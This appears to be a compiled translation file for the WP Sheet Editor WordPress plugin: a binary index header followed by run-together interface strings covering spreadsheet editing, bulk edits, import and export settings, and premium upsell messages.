B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
